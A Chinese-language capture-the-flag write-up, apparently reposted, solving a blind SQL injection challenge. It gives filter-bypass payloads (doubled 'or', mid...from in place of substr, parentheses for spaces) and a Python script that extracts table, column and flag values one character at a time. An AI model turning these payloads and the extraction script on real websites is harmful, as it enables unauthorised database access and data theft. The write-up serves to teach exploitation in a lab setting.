實驗吧——認真一點(繞過空格,逗號,關鍵字過濾等 sql盲注)


題目地址:http://ctf5.shiyanbar.com/web/earnest/index.php

過濾和攔截了某些東西,我經過多次嘗試,最終構造的是

1'=(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from(1)))>1)='1

其中過濾了一次or,所以information里的or要雙寫,substr中有逗號,所以mid代替,空格則用括號代替,/**/注釋符不行是因為服務器過濾了*

 

服務器的sql查詢當且僅當返回只一條數據時才回顯you are in

(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from(1)))>1)

的值要么為假0,要么為真1,由此便可猜解

 

 

寫了個python腳本

(腳本中的爆破方法是一個個字符進行比對,其實為了提高效率可以寫二分法,簡便點就用這個方法,還有本來我的字符集只有字母數字下划線和逗號,但是猜解列名的時候發現不完整,所以手動判斷了下(id=1'=(ascii(mid((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='fiag'))from(3)))=36)='1&submit=),第三位是$這個字符,才在字符集里加了這個,遇見問題要靈活判斷,當然這也是因為我腳本寫的爛 /笑哭)

 

 1 # -*- coding: utf-8 -*-
 2 import requests
 3 
 4 strall=" !~{}_,:$abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
 5 
 6 url='http://ctf5.shiyanbar.com/web/earnest/index.php'
 7 
 8 headers={
 9     'Content-Type': 'application/x-www-form-urlencoded'
10 }
11 
12 #fiag
13 def func1():
14     result=''
15     for index in range(1,1000):
16         for i in strall:
17             data="id=1'=(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from({})))={})='1&submit=".format(str(index),str(ord(i)))
18             print data
19             r=requests.post(url=url,data=data,headers=headers)
20             if r.text.find('You are in') >=0:
21                 result+=i
22                 print result
23                 break
24             elif i=='9':
25                 print result
26                 return
27 
28 #fL$4G
29 def func2():
30     result=''
31     for index in range(1,1000):
32         for i in strall:
33             data="id=1'=(ascii(mid((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='fiag'))from({})))={})='1&submit=".format(str(index),str(ord(i)))
34             print data
35             r=requests.post(url=url,data=data,headers=headers)
36             if r.text.find('You are in') >=0:
37                 result+=i
38                 print result
39                 break
40             elif i=='9':
41                 print result
42                 return
43 
44 
45 def func3():
46     result=''
47     for index in range(1,1000):
48         for i in strall:
49             data="id=1'=(ascii(mid((select(group_concat(fL$4G))from(fiag))from({})))={})='1&submit=".format(str(index),str(ord(i)))
50             print data
51             r=requests.post(url=url,data=data,headers=headers)
52             if r.text.find('You are in') >=0:
53                 result+=i
54                 print result
55                 break
56             elif i=='9':
57                 print result
58                 return
59 
60 
61 
62 #func1()
63 #func2()
64 func3()
65 
66 
67 raw_input('done')

 

 

網站訪問速度慢點話,猜解這個是真的慢!!!

還是建議寫二分法!!!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM